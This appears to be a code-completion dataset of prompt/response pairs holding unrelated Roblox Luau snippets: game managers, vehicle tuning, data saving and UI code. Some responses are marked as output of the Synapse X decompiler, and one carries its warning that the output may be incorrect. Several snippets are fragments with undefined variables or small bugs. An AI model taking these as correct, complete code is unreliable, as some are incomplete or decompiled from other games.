Prompt:
--[[
	Server-side manager that listens to events to advance the FTUE stage in a player's data and
	trigger server-side world changes according to the current stage
--]]

Response:
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local ServerStorage = game:GetService("ServerStorage")

local PlayerDataServer = require(ServerStorage.Source.PlayerData.Server)
local FtueStage = require(ReplicatedStorage.Source.SharedConstants.FtueStage)
local InFarmFtueStage = require(script.StageHandlers.InFarmFtueStage)
local SellingPlantFtueStage = require(script.StageHandlers.SellingPlantFtueStage)
local PurchasingSeedFtueStage = require(script.StageHandlers.PurchasingSeedFtueStage)
local PurchasingPotFtueStage = require(script.StageHandlers.PurchasingPotFtueStage)
local ReturningToFarmFtueStage = require(script.StageHandlers.ReturningToFarmFtueStage)
local PlayerDataKey = require(ReplicatedStorage.Source.SharedConstants.PlayerDataKey)

type FtueStage = {
	handleAsync: (Player) -> FtueStage.EnumType?,
}

local handlerByStage: { [string]: FtueStage } = {
	[FtueStage.InFarm] = InFarmFtueStage,
	[FtueStage.SellingPlant] = SellingPlantFtueStage,
	[FtueStage.PurchasingSeed] = PurchasingSeedFtueStage,
	[FtueStage.PurchasingPot] = PurchasingPotFtueStage,
	[FtueStage.ReturningToFarm] = ReturningToFarmFtueStage,
}

local FtueManagerServer = {}

function FtueManagerServer.onPlayerAdded(player: Player)
	local ftueStage = PlayerDataServer.getValue(player, PlayerDataKey.FtueStage)
	FtueManagerServer._updateFtueStage(player, ftueStage)
end

function FtueManagerServer._updateFtueStage(player: Player, ftueStage: FtueStage.EnumType?)
	PlayerDataServer.setValue(player, PlayerDataKey.FtueStage, ftueStage)

	if not ftueStage then
		return
	end

	task.spawn(function()
		local stageHandler = handlerByStage[ftueStage :: FtueStage.EnumType]
		local nextStage: FtueStage.EnumType? = stageHandler.handleAsync(player)
		FtueManagerServer._updateFtueStage(player, nextStage)
	end)
end

return FtueManagerServer


Prompt: -- Connect key state change event

Response:
userInputService.InputBegan:Connect(function(input)
	handleKeyState(input.KeyCode, true)
end)

userInputService.InputEnded:Connect(function(input)
	handleKeyState(input.KeyCode, false)
end)


Prompt:
--[[
	--Instructions--
	-For every material you want, you must add a new elseif statement, set "Enum.Materal" to the material you want. For example "Enum.Material.Glass"
	-Then just change the properties of the sound within that elseif statement to what you want.
	-Don't forget to edit the "Running" Script!
--]]
--CREDITS FOR BUILDING THIS SCRIPT:
--Spathi


Prompt:
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data

Response:
return function(player, dialogueFolder)
	local ClassInformationTable = require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation)
	return (not ClassInformationTable:GetClassFolder(player,"Brawler").GuardBreak.Value)
end


Prompt: -- função para adicionar vírgulas a um número

Response:
local function commaSeparateNumber(amount)
	local formatted = amount
	while true do
		formatted, k = string.gsub(formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
		if k == 0 then
			break
		end
	end
	return formatted
end


Prompt: -- Function to handle player character additions

Response:
local function onCharacterAdded(character)
	explodePlayer(character.Parent)
end


Prompt: --[[Engine]]

Response:
	--Torque Curve
	Tune.Horsepower		= 100		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 700		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 6000		--		Use sliders to manipulate values
	Tune.Redline		= 6700		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 5500
	Tune.PeakSharpness	= 7.5
	Tune.CurveMult		= 0.16

	--Incline Compensation
	Tune.InclineComp	= 4.7			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)

	--Misc
	Tune.RevAccel		= 150		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.ClutchTol		= 500		-- Clutch engagement threshold (higher = faster response)


Prompt:
--[[
	Calculate the actual spot Frame position in studs by making use of adornee position.

	Parameters:
	- surfaceGui (SurfaceGui): SurfaceGui instance that the spot belongs to
	- spot (Frame): Frame instance representing a Spot

	Returns:
	- (Vector3): World position of the spot
]]

Response:
function CameraModule:getSpotPosition(surfaceGui, spot)
	local adornee = surfaceGui.Adornee
	local face = surfaceGui.Face

	-- Find offset of the spot's Frame from the center of the SurfaceGui (in studs)
	local spotCenter = spot.AbsolutePosition + (Vector2.new(0.5, 0.5) - spot.AnchorPoint) * spot.AbsoluteSize
	local guiOffset = (spotCenter - surfaceGui.AbsoluteSize / 2) / surfaceGui.PixelsPerStud

	-- Calculate the actual position of the center of spot (in studs)
	local spotPosition = adornee.CFrame:PointToWorldSpace(self:_getPointByFace(guiOffset, adornee, face))

	return spotPosition
end

function CameraModule:_tweenCamera(target)
	-- Animate to the spot
	local tweenTime = constants.CameraTweenTime
	local tweenInfo = TweenInfo.new(tweenTime, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut)
	local tween = self.tweenService:Create(self.camera, tweenInfo, { CFrame = target })

	tween:Play()

	task.wait(tweenTime)
end


Prompt:
--[[
	3/19/20
	newwil
	DataStore/Leaderstats
--]]

Response:
local DataStoreService = game:GetService("DataStoreService")

local playerData = DataStoreService:GetDataStore("playerData")

game.Players.PlayerAdded:Connect(function(player)
	local leaderstats = Instance.new("Folder")
	leaderstats.Name = "leaderstats"
	leaderstats.Parent = player

	local cash = Instance.new("IntValue")
	cash.Name = "Cash"
	cash.Parent = leaderstats

	local data
	local success, errormessage = pcall(function()
		data = playerData:GetAsync(player.UserId.."-cash")
	end)

	if success then
		cash.Value = data
	else
		print("Error while getting your data")
		warn(errormessage)
	end
end)

game.Players.PlayerRemoving:Connect(function(player)

	local success, errormessage = pcall(function()
		playerData:SetAsync(player.UserId.."-cash", player.leaderstats.Cash.Value)
	end)

	if success then
		print("Data successfully saved!")
	else
		print("There was an error while saving the data")
		warn(errormessage)
	end

end)


Prompt:
--// Hash: 53ab6b5234323af6aa5c293925b6bd3fa53a7304d8e5f6ed1458452d96a6c330fc93ce57e3f8ea4393a6e5ed4eb1e6ca
-- Decompiled with the Synapse X Luau decompiler.

Response:
local v1 = {};
local u1 = {
	Disconnect = function(p1)
		local l___listener__2 = p1._listener;
		if l___listener__2 ~= nil then
			local l___listener_table__3 = p1._listener_table;
			local v4 = table.find(l___listener_table__3, l___listener__2);
			if v4 ~= nil then
				table.remove(l___listener_table__3, v4);
			end;
			p1._listener = nil;
		end;
		if p1._disconnect_listener ~= nil then
			p1._disconnect_listener(p1._disconnect_param);
			p1._disconnect_listener = nil;
		end;
	end
};
function v1.NewArrayScriptConnection(p2, p3, p4, p5)
	return {
		_listener = p3,
		_listener_table = p2,
		_disconnect_listener = p4,
		_disconnect_param = p5,
		Disconnect = u1.Disconnect
	};
end;
local v5 = {};
local u2 = {
	Disconnect = function(p6)
		local l___listener__6 = p6._listener;
		if l___listener__6 ~= nil then
			local l___script_signal__7 = p6._script_signal;
			local l___fire_pointer_stack__8 = l___script_signal__7._fire_pointer_stack;
			local l___listeners_next__9 = l___script_signal__7._listeners_next;
			local l___listeners_back__10 = l___script_signal__7._listeners_back;
			for v11 = 1, l___script_signal__7._stack_count do
				if l___fire_pointer_stack__8[v11] == l___listener__6 then
					l___fire_pointer_stack__8[v11] = l___listeners_next__9[l___listener__6];
				end;
			end;
			if l___script_signal__7._tail_listener == l___listener__6 then
				local v12 = l___listeners_back__10[l___listener__6];
				if v12 ~= nil then
					l___listeners_next__9[v12] = nil;
					l___listeners_back__10[l___listener__6] = nil;
				else
					l___script_signal__7._head_listener = nil;
				end;
				l___script_signal__7._tail_listener = v12;
			elseif l___script_signal__7._head_listener == l___listener__6 then
				local v13 = l___listeners_next__9[l___listener__6];
				l___listeners_back__10[v13] = nil;
				l___listeners_next__9[l___listener__6] = nil;
				l___script_signal__7._head_listener = v13;
			else
				local v14 = l___listeners_next__9[l___listener__6];
				local v15 = l___listeners_back__10[l___listener__6];
				if v14 ~= nil or v15 ~= nil then
					l___listeners_next__9[v15] = v14;
					l___listeners_back__10[v14] = v15;
					l___listeners_next__9[l___listener__6] = nil;
					l___listeners_back__10[l___listener__6] = nil;
				end;
			end;
			p6._listener = nil;
			l___script_signal__7._listener_count = l___script_signal__7._listener_count - 1;
		end;
		if p6._disconnect_listener ~= nil then
			p6._disconnect_listener(p6._disconnect_param);
			p6._disconnect_listener = nil;
		end;
	end
};
function v5.Connect(p7, p8, p9, p10)
	if type(p8) ~= "function" then
		error("[MadworkScriptSignal]: Only functions can be passed to ScriptSignal:Connect()");
	end;
	local l___tail_listener__16 = p7._tail_listener;
	if l___tail_listener__16 == nil then
		p7._head_listener = p8;
		p7._tail_listener = p8;
		p7._listener_count = p7._listener_count + 1;
	elseif l___tail_listener__16 ~= p8 and p7._listeners_next[p8] == nil then
		p7._listeners_next[l___tail_listener__16] = p8;
		p7._listeners_back[p8] = l___tail_listener__16;
		p7._tail_listener = p8;
		p7._listener_count = p7._listener_count + 1;
	end;
	return {
		_listener = p8,
		_script_signal = p7,
		_disconnect_listener = p9,
		_disconnect_param = p10,
		Disconnect = u2.Disconnect
	};
end;
function v5.GetListenerCount(p11)
	return p11._listener_count;
end;
function v5.Fire(p12, ...)
	local l___fire_pointer_stack__17 = p12._fire_pointer_stack;
	local v18 = p12._stack_count + 1;
	p12._stack_count = v18;
	local l___listeners_next__19 = p12._listeners_next;
	l___fire_pointer_stack__17[v18] = p12._head_listener;
	while true do
		local v20 = l___fire_pointer_stack__17[v18];
		l___fire_pointer_stack__17[v18] = l___listeners_next__19[v20];
		if v20 == nil then
			break;
		end;
		v20(...);
	end;
	p12._stack_count = p12._stack_count - 1;
end;
function v1.NewScriptSignal()
	return {
		_fire_pointer_stack = {},
		_stack_count = 0,
		_listener_count = 0,
		_listeners_next = {},
		_listeners_back = {},
		_head_listener = nil,
		_tail_listener = nil,
		Connect = v5.Connect,
		GetListenerCount = v5.GetListenerCount,
		Fire = v5.Fire
	};
end;
return v1;


Prompt: -- BaseCamera mod

Response:
local BaseCamera = require(baseCameraModule)

BaseCamera.UpCFrame = IDENTITYCF

function BaseCamera:UpdateUpCFrame(cf)
	self.UpCFrame = cf
end

function BaseCamera:CalculateNewLookCFrame(suppliedLookVector)
	local currLookVector = suppliedLookVector or self:GetCameraLookVector()
	currLookVector = self.UpCFrame:VectorToObjectSpace(currLookVector)

	local currPitchAngle = math.asin(currLookVector.y)
	local yTheta = math.clamp(self.rotateInput.y, -MAX_Y + currPitchAngle, -MIN_Y + currPitchAngle)
	local constrainedRotateInput = Vector2.new(self.rotateInput.x, yTheta)
	local startCFrame = CFrame.new(ZERO, currLookVector)
	local newLookCFrame = CFrame.Angles(0, -constrainedRotateInput.x, 0) * startCFrame * CFrame.Angles(-constrainedRotateInput.y,0,0)

	return newLookCFrame
end


Prompt:
--[[VARIABLE DEFINITION ANOMALY DETECTED, DECOMPILATION OUTPUT POTENTIALLY INCORRECT]]--
-- Decompiled with the Synapse X Luau decompiler.

Response:
local u1 = nil;
coroutine.wrap(function()
	u1 = require(game.ReplicatedStorage:WaitForChild("Resources"));
end)();
local v1 = {};
local l__InfoOverlay__2 = u1.Assets.UI:WaitForChild("InfoOverlay");
local u2 = nil;
local l__Blocks__3 = l__InfoOverlay__2:WaitForChild("Blocks");
local u4 = {};
local u5 = nil;
local v36
local v37
local v38
local v39
local v40
local u6 = u1.PlayerModule.Get("Mouse");
local u7 = game:GetService("GuiService"):GetGuiInset();
local u8 = {};
function v1.Add(p1, ...)
	if u2 then
		v1.Remove();
	end;
	local v3 = l__InfoOverlay__2:FindFirstChild("Base"):Clone();
	local v4 = 0;

		for v5, v6 in ipairs({ ... }) do
		if not v5 then
			break;
		end;
		local v8 = v6[1];
		local v9 = l__Blocks__3:FindFirstChild(v8):Clone();
		local l__settings__10 = v9:FindFirstChild("settings");
		if l__settings__10 and l__settings__10:FindFirstChild("code") then
			coroutine.wrap(function()
				(u4[v8] or require(l__settings__10:FindFirstChild("code")))(v9, unpack(v6));
			end)();
		end;
		v9.LayoutOrder = v5 * 100;
		if l__settings__10 then
			local v11 = l__settings__10:GetAttribute("boundsX");
			local l__Y__12 = v11.Y;
			local v13 = 0;
			local v14 = 0;
			local v15 = 0;
				for v16, v17 in ipairs(v9:GetChildren()) do
				if not v16 then
					break;
				end;
				if v17:IsA("GuiObject") and v17.Visible then
					if v17.ClassName == "TextLabel" or v17.ClassName == "TextButton" then
						if v17.Size.X.Scale ~= 0 then
							local v19 = u1.TextService:GetTextSize(string.gsub(v17.Text, "<.->", function()
								return "";
							end), v17.TextSize, v17.Font, (Vector2.new(l__Y__12 * v17.Size.X.Scale, 1000))) + Vector2.new(4, 1);
							v13 = math.max(v19.X, v13);
							v14 = v14 + math.max(v19.Y, v9.AbsoluteSize.Y);
							v17.Size = UDim2.new(0, v19.X, 0, v19.Y);
						end;
					elseif v17.Size.X.Scale ~= 0 then
						v15 = v15 + v17.AbsoluteSize.Y;
					end;
				end;
			end;
			local v20 = v9:FindFirstChildOfClass("UIListLayout");
			if v20 and v20.FillDirection == Enum.FillDirection.Horizontal then
				v13 = math.max(v20.AbsoluteContentSize.X, v13);
			end;
			v9.Size = UDim2.new(1, 0, 0, v14 + v15);
			v4 = math.max(math.clamp(v13, v11.X, l__Y__12), v4);
		end;
		v9.Parent = v3.Frame.Blocks;
	end;
	local v21 = v3.Frame.Blocks:FindFirstChildOfClass("UIPadding");
	local v22 = v3.Frame.Blocks:FindFirstChildOfClass("UIListLayout");
	v22:ApplyLayout();
	v3.Size = UDim2.new(0, v4 + v21.PaddingLeft.Offset + v21.PaddingRight.Offset, 0, v22.AbsoluteContentSize.Y + v21.PaddingTop.Offset + v21.PaddingBottom.Offset);
	v3.UIScale.Scale = 1 - (1 - math.min(u1.Functions.ResolutionScale(), 1)) / 1.5;
	if not u5 then
		u5 = Instance.new("ScreenGui");
		u5.DisplayOrder = 100;
		u5.ZIndexBehavior = Enum.ZIndexBehavior.Global;
		u5.ResetOnSpawn = false;
		u5.Name = "InfoOverlay";
		u5.Parent = u1.PlayerModule.Get("PlayerGui");
	end;
	v3.Parent = u5;
	u2 = v3;
	u1.GUI.ToggleCursor(false);
	local v23 = nil;

		for v24, v25 in ipairs({ ... }) do
		if not v24 then
			break;
		end;
		if v25[1] == "Rarity" and v25[2] then
			v23 = v25[2];
			break;
		end;
	end;
	if v23 == "Mythical" or v23 == "Exclusive" then
		local v27 = v3.Frame:FindFirstChildOfClass("UIStroke");
		v27.Color = Color3.new(1, 1, 1);
		local v28 = u1.Assets.UI.Raritys:FindFirstChild(v23):Clone();
		v28.Parent = v27;
		if v23 == "Mythical" then
			v3.pointer.pointer.ImageColor3 = Color3.fromRGB(255, 85, 255);
		elseif v23 == "Exclusive" then
			v3.pointer.pointer.ImageColor3 = Color3.fromRGB(255, 170, 255);
		end;
		if v23 == "Mythical" then
			task.defer(function()
				local v29 = true;
				while v3 and v3.Parent do
					local v30 = v29 and Color3.fromRGB(255, 245, 230) or Color3.new(1, 1, 1);
					u1.Functions.Tween(v3.pointer, { 1.25, 1, 2 }, {
						ImageColor3 = v30
					});
					u1.Functions.Tween(v3.Frame, { 1.25, 1, 2 }, {
						BackgroundColor3 = v30
					}).Completed:Wait();
					v29 = not v29;
				end;
			end);
		end;
		task.defer(function()
			while v3 and v3.Parent do
				v28.Rotation = os.clock() * 250;
				u1.RenderStepped();
			end;
		end);
	end;
	local u9 = "Down";
	task.defer(function()
		while v3 and v3.Parent do
			local v31 = u6.X;
			local v32 = u6.Y;
			local l__X__33 = v3.AbsoluteSize.X;
			local l__Y__34 = v3.AbsoluteSize.Y;
			local v35 = game.Workspace.CurrentCamera.ViewportSize.Y - u7.Y;
			if u1.Variables.Console then
				v31 = p1.AbsolutePosition.X + p1.AbsoluteSize.X * 0.5;
				v32 = p1.AbsolutePosition.Y + p1.AbsoluteSize.Y * 0.5;
			end;
			if v32 + l__Y__34 + 30 < v35 then
				u9 = "Down";
			elseif v32 - l__Y__34 - 30 > 0 then
				u9 = "Up";
			end;
			if u9 == "Down" then
				 v36 = 30;
			else
				v36 = -30;
			end;
			if u9 == "Down" then
				 v37 = 0;
			else
				v37 = 1;
			end;
			v3.AnchorPoint = Vector2.new(0, v37);
			v3.Position = UDim2.new(0, math.clamp(v31 + 30, 0, game.Workspace.CurrentCamera.ViewportSize.X - u7.X + (-l__X__33 and l__X__33)), 0, math.clamp(v32 + v36, 0, v35 + (u9 == "Down" and -l__Y__34 or l__Y__34)));
			if u9 == "Down" then
				 v38 = 1;
			else
				v38 = 0;
			end;
			v3.pointer.AnchorPoint = Vector2.new(1, v38);
			if u9 == "Down" then
				 v39 = 0;
			else
				v39 = 1;
			end;
			if u9 == "Down" then
				 v40 = 30;
			else
				v40 = -30;
			end;
			v3.pointer.Position = UDim2.new(0, 30, v39, v40);
			if u9 == "Down" then
				v3.pointer.Rotation = 0;
			elseif u9 == "Up" then
				v3.pointer.Rotation = -90;
			else
				v3.pointer.Rotation = -180;
			end;
			u1.RenderStepped();
		end;
	end);
	task.defer(function()
		while v3 and v3.Parent do
			local l__X__41 = u6.X;
			local l__Y__42 = u6.Y;
			local l__X__43 = p1.AbsolutePosition.X;
			local l__Y__44 = p1.AbsolutePosition.Y;
			if not u1.Variables.Console then
				if l__X__43 + p1.AbsoluteSize.X < l__X__41 or l__X__41 < l__X__43 or l__Y__44 + p1.AbsoluteSize.Y < l__Y__42 or l__Y__42 < l__Y__44 then
					v1.Remove();
				end;
			elseif u1.GuiService.SelectedObject ~= p1 then
				v1.Remove();
			end;
			u1.RenderStepped();
		end;
	end);
	if u1.Variables.Mobile then
		local u10 = nil;
		local u11 = tick();
		u10 = p1.MouseButton1Up:Connect(function()
			u10:Disconnect();
			if tick() - u11 < 0.5 then
				v1.Remove();
			end;
		end);
		u8[#u8 + 1] = u10;
	end;
end;
function v1.Remove()
	if u2 then

			for v45, v46 in ipairs(u8) do
			if not v45 then
				break;
			end;
			v46:Disconnect();
		end;
		u8 = {};
		u2:Destroy();
		u1.GUI.ToggleCursor(true);
		u2 = nil;
	end;
end;
return v1;


Prompt: --Moxiii~<3 // LerpColor and IsDark taken from ROBLOX Battle

Response:
wait(2)

local MAX_STEPS = 20
local COLOR = script.Parent.Value
local t = tick()

math.randomseed(t/2)


Prompt:
-----------------
--| Variables |--
-----------------

Response:
local DebrisService = Game:GetService('Debris')
local PlayersService = Game:GetService('Players')

local Rocket = script.Parent

local CreatorTag = Rocket:WaitForChild('creator')
local Tank = Rocket:WaitForChild('Tank').Value
local SwooshSound = Rocket:WaitForChild('Swoosh')
local Target = Rocket:WaitForChild('Target')


Prompt: --[[Run]]

Response:
	--Print Version
	local ver=require(car["A-Chassis Tune"].README)
	print("Novena: AC6T Loaded - Build "..ver)

	--Runtime Loops

	-- ~60 c/s
	game["Run Service"].Stepped:connect(function()
		--Steering
		Steering()

		--RPM
		RPM()

		--Suspension
		if not workspace:PGSIsEnabled() and _Tune.SusEnabled then
			Suspension()
		end

		--Power
		Engine()

		--Update External Values
		_IsOn = script.Parent.IsOn.Value
		_InControls = script.Parent.ControlsOpen.Value
		script.Parent.Values.Gear.Value = _CGear
		script.Parent.Values.RPM.Value = _RPM
		script.Parent.Values.Boost.Value = (_Boost/2)*_TPsi
		script.Parent.Values.Horsepower.Value = _HP
		script.Parent.Values.HpNatural.Value = _NH
		script.Parent.Values.HpBoosted.Value = _BH*(_Boost/2)
		script.Parent.Values.Torque.Value = _HP * _Tune.EqPoint / _RPM
		script.Parent.Values.TqNatural.Value = _NT
		script.Parent.Values.TqBoosted.Value = _BT*(_Boost/2)
		script.Parent.Values.TransmissionMode.Value = _TMode
		script.Parent.Values.Throttle.Value = _GThrot*_GThrotShift
		script.Parent.Values.Brake.Value = _GBrake
		script.Parent.Values.SteerC.Value = _GSteerC*(1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100)))
		script.Parent.Values.SteerT.Value = _GSteerT
		script.Parent.Values.PBrake.Value = _PBrake
		script.Parent.Values.TCS.Value = _TCS
		script.Parent.Values.TCSActive.Value = _TCSActive
		script.Parent.Values.TCSAmt.Value = 1-_TCSAmt
		script.Parent.Values.ABS.Value = _ABS
		script.Parent.Values.ABSActive.Value = _ABSActive
		script.Parent.Values.MouseSteerOn.Value = _MSteer
		script.Parent.Values.Velocity.Value = car.DriveSeat.Velocity
	end)

	--	car.DriveSeat.CC.Changed:connect(function()


Prompt: --//Services//--

Response:
local Debris = game:GetService("Debris")
local TweenService = game:GetService("TweenService")


Prompt: --For Omega Rainbow Katana thumbnail to display a lot of particles.

Response:
for i, v in pairs(Handle:GetChildren()) do
	if v:IsA("ParticleEmitter") then
		v.Rate = 20
	end
end


Prompt:
--[=[
	@param ... any

	Same as `Fire`, but uses `task.defer` internally & doesn't take advantage of thread reuse.
	```lua
	signal:FireDeferred("Hello")
	```
]=]

Response:
function Signal:FireDeferred(...)
	local item = self._handlerListHead
	while item do
		task.defer(item._fn, ...)
		item = item._next
	end
end


Prompt:
------------------------------------------------------------------------
-- initial parsing for statements, calls a lot of functions
-- * returns boolean instead of 0|1
-- * used in chunk()
------------------------------------------------------------------------

Response:
function luaY:statement(ls)
  local line = ls.linenumber  -- may be needed for error messages
  local c = ls.t.token
  if c == "TK_IF" then  -- stat -> ifstat
    self:ifstat(ls, line)
    return false
  elseif c == "TK_WHILE" then  -- stat -> whilestat
    self:whilestat(ls, line)
    return false
  elseif c == "TK_DO" then  -- stat -> DO block END
    luaX:next(ls)  -- skip DO
    self:block(ls)
    self:check_match(ls, "TK_END", "TK_DO", line)
    return false
  elseif c == "TK_FOR" then  -- stat -> forstat
    self:forstat(ls, line)
    return false
  elseif c == "TK_REPEAT" then  -- stat -> repeatstat
    self:repeatstat(ls, line)
    return false
  elseif c == "TK_FUNCTION" then  -- stat -> funcstat
    self:funcstat(ls, line)
    return false
  elseif c == "TK_LOCAL" then  -- stat -> localstat
    luaX:next(ls)  -- skip LOCAL
    if self:testnext(ls, "TK_FUNCTION") then  -- local function?
      self:localfunc(ls)
    else
      self:localstat(ls)
    end
    return false
  elseif c == "TK_RETURN" then  -- stat -> retstat
    self:retstat(ls)
    return true  -- must be last statement
  elseif c == "TK_BREAK" then  -- stat -> breakstat
    luaX:next(ls)  -- skip BREAK
    self:breakstat(ls)
    return true  -- must be last statement
  else
    self:exprstat(ls)
    return false  -- to avoid warnings
  end--if c
end


Prompt: --[[Engine]]

Response:
	--Torque Curve
	Tune.Horsepower		= 250*1.3		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 1000		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 7000		--		Use sliders to manipulate values
	Tune.Redline		= 10000	--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 6500
	Tune.PeakSharpness	= 5
	Tune.CurveMult		= 0.5

	--Incline Compensation
	Tune.InclineComp	= 1.7			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)

	--Misc
	Tune.RevAccel		= 150		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.ClutchTol		= 500		-- Clutch engagement threshold (higher = faster response)


Prompt: --[[ Script Variables ]]

Response:
--
while not Players.LocalPlayer do
	wait()
end
local LocalPlayer = Players.LocalPlayer
local Humanoid = MasterControl:GetHumanoid()
local JumpButton = nil
local OnInputEnded = nil		-- defined in Create()
local CharacterAddedConnection = nil
local HumStateConnection = nil
local HumChangeConnection = nil
local ExternallyEnabled = false
local JumpPower = 0
local JumpStateEnabled = true


Prompt:
-- ================================================================================
-- LOCAL FUNCTIONS
-- ================================================================================
-- Display result dialog

Response:
local function openDlg(resultString, resultTime)
	-- Display result string
	ResultString.Text = string.upper(resultString)

	-- Display result time if > 0 (formatted)
	if resultTime and resultTime > 0 then
		local minutes = math.floor(resultTime/60)
		local seconds = math.floor(resultTime%60)
		if seconds < 10 then seconds = "0"..tostring(seconds)	end
		ResultTime.Text = string.upper("WINNING TIME: "..tostring(minutes)..":"..tostring(seconds))
	else
		ResultTime.Text = ""
	end

	dlg.Visible = true

	wait(DISPLAY_DURATION)

	dlg.Visible = false
end -- openDlg()


Prompt:
--[[**
	ensures value is an integer

	@param value The value to check against

	@returns True iff the condition is satisfied, false otherwise
**--]]

Response:
function t.integer(value)
	local success, errMsg = t.number(value)
	if not success then
		return false, errMsg or ""
	end
	if value%1 == 0 then
		return true
	else
		return false, string.format("integer expected, got %d", value)
	end
end


Prompt: --- Skill

Response:
local UIS = game:GetService("UserInputService")
local plr = game.Players.LocalPlayer
local Mouse = plr:GetMouse()
local Debounce = true
Player = game.Players.LocalPlayer

wait(1)


Prompt: -- Motor(s)

Response:
local SeeSawMotor = script.Parent:WaitForChild("SeeSawMotor")

local function OnSeatsChange(ChangedSeat)
	local Seat1Occupant = Seat1.Occupant
	local Seat2Occupant = Seat2.Occupant
	local Seat1T = Seat1.Throttle
	local Seat2T = Seat2.Throttle

	if Seat1Occupant and Seat2Occupant == nil then
		SeeSawMotor.DesiredAngle = 0.3
	elseif Seat2Occupant and Seat1Occupant == nil then
		SeeSawMotor.DesiredAngle = -0.3
	end

	if Seat1Occupant and Seat2Occupant then

		-- When both inputs are equal or would seem equal, make it balanced
		if Seat2T == 0 and Seat1T == 0 or Seat1T == -1 and Seat2T == -1 or Seat1T == 1 and Seat2T == 1 or Seat1T == -1 and Seat2T == 0 or Seat1T == 0 and Seat2T == -1 then
			SeeSawMotor.DesiredAngle = 0
			return
		end

		-- Seat1 logic
		if Seat1T == 1 and Seat2T == 0 or Seat1T == 1 and Seat2T == -1 then
			SeeSawMotor.DesiredAngle = 0.3
		end

		-- Seat2 logic
		if Seat2T == 1 and Seat1T == 0 or Seat2T == 1 and Seat1T == -1 then
			SeeSawMotor.DesiredAngle = -0.3
		end
	end
end


Prompt:
---SG Is  Here---
---Please Dont Change Anything Can Dont Work If You Change--

Response:
local db = true
local player = game.Players.LocalPlayer
local target = game.Workspace.Sell
local delay = 3
script.Parent.MouseButton1Click:connect(function()
	if db == true then
		db = false
		player.Character.HumanoidRootPart.CFrame = target.CFrame * CFrame.new(0, 3, 0)
		for i = delay, 1, -1 do
			script.Parent.Text = i
			wait(1)
		end
		script.Parent.Text = "Sell"
		db = true
	end
end)


Prompt: --------------------) Settings

Response:
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 5 -- cooldown for use of the tool again

ZoneModelName = "Rocket circle" -- name the zone model

MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage


Prompt:
--Door Script
--This script toggles the door when it is clicked.
--Unless you know what you're doing, do not modify this script.

Response:
local clickdetector = Instance.new("ClickDetector", script.Parent) --This creates a click detector for the door.
clickdetector.MouseClick:Connect(function() --This detects a click on the door.
	if script.Parent.CanCollide == true then --This checks if the door is closed.
		script.Parent.Open:Play() --This plays the open sound.
		script.Parent.Transparency = 0.25 --This causes the door to be slightly transparent.
		script.Parent.CanCollide = false --This causes the door to stop colliding.
	else --If the door is open, then the code below will run instead.
		script.Parent.Close:Play() --This plays the close sound.
		script.Parent.Transparency = 0 --This causes the door to be completely opaque.
		script.Parent.CanCollide = true --This causes the door to begin colliding.
	end
end)


Prompt: --// F key, Horn

Response:
mouse.KeyDown:connect(function(key)
	if key=="f" then
		veh.Lightbar.middle.Airhorn:Play()
		veh.Lightbar.middle.Wail.Volume = 0
		veh.Lightbar.middle.Yelp.Volume = 0
		veh.Lightbar.middle.Priority.Volume = 0
		veh.Lightbar.middle.Manual.Volume = 0
		veh.Lightbar.middle.rWail.Volume = 0
		veh.Lightbar.middle.rYelp.Volume = 0
		veh.Lightbar.middle.rPriority.Volume = 0
	end
end)


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
script.Parent.MouseButton1Down:Connect(function()
	script.Parent.Parent.Visible = false;
	if game.Players.LocalPlayer.Character.Values.Actions.CarriedPlr.Value ~= "" then
		script.Parent.Parent.Parent.Dialog3.Visible = true;
		return;
	end;
	script.Parent.Parent.Parent.Dialog2.Visible = true;
end);


Prompt:
--[[

	Generates a mathmatically unique UID hex.

	Functions.GenerateUID()

--]]


Prompt: --[[Misc]]

Response:
	Tune.LoadDelay		= 3.0		-- Delay before initializing chassis (in seconds)
	Tune.AutoStart		= false		-- Set to false if using manual ignition plugin
	Tune.AutoFlip		= true		-- Set to false if using manual flip plugin
	Tune.AutoUpdate		= true		-- Automatically applies minor updates to the chassis if any are found.
									-- Will NOT apply major updates, but will notify you of any.
									-- Set to false to mute notifications, or if using modified Drive.


Prompt: --Instert in Tool

Response:
local tool = script.Parent
local anim = script.Animation --Animation ID
local track
tool.Equipped:Connect(function()
    track = script.Parent.Parent.Humanoid:LoadAnimation(anim)
    track:Play()
end)
tool.Unequipped:Connect(function()
    if track then
        track:Stop()
    end
end)


Prompt:
--[[
	Gets camera modifiers and effects while it is in Dead mode.
]]

Response:
local TweenService = game:GetService("TweenService")

local CameraStateDead = {}


Prompt:
--created by
------------------------------------------
--Clear And Enter

Response:
check = true -- Global

function Clear()
print("Cleared")
Input = ""
end

script.Parent.Clear.ClickDetector.MouseClick:connect(Clear)

function Enter()
if Input == Code then
print("Entered")
Input = ""

local door = script.Parent.Parent.Door

for i = 1, 35 do
	door.CFrame = CFrame.new(door.Position + Vector3.new(0,0,0.1))
	wait(0.01)
end

wait(5) --Closes

for i = 1, 35 do
	door.CFrame = CFrame.new(door.Position - Vector3.new(0,0,0.1))
	wait(0.01)
end

return end
Input = ""
print("Wrong Code")
end

